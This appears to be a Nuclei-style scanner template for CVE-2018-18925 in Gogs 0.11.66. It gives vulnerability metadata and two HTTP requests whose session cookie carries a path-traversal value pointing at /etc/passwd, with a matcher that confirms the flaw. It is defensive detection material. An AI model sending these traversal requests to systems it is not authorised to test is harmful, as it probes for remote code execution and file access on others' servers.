45 lines
1.8 KiB
YAML
45 lines
1.8 KiB
YAML
id: CVE-2018-18925
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info:
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name: Gogs (Go Git Service) 0.11.66 - Remote Code Execution
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author: princechaddha
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severity: critical
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description: Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file.go. This is related to session ID handling in the go-macaron/session code for Macaron.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
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remediation: This issue will be fixed by updating to the latest version of Gogs.
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reference:
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- https://www.anquanke.com/post/id/163575
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- https://github.com/vulhub/vulhub/tree/master/gogs/CVE-2018-18925
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- https://nvd.nist.gov/vuln/detail/cve-2018-18925
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- https://github.com/gogs/gogs/issues/5469
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2018-18925
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cwe-id: CWE-384
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epss-score: 0.09538
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epss-percentile: 0.94194
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cpe: cpe:2.3:a:gogs:gogs:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: gogs
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product: gogs
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tags: cve,cve2018,gogs,lfi,rce,vulhub
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http:
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- raw:
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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Cookie: lang=en-US; i_like_gogits=../../../../etc/passwd;
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- |
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GET / HTTP/1.1
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Host: {{Hostname}}
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Cookie: lang=en-US; i_like_gogits=../../../../etc/dummy;
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matchers:
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- type: dsl
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dsl:
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- 'status_code_1 == 500 && status_code_2 == 200 && contains(body_2, "<meta name=\"author\" content=\"Gogs\" />")'
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# digest: 490a0046304402207fd84ac673936be426909401efa961668ef4fe0fcb94ea4bfd7b92096d55de4502202187a45507642ce028a12df0ac0966a1f0e2163c8d5e3489bef9b5a3da8f5d9f:922c64590222798bb761d5b6d8e72950 |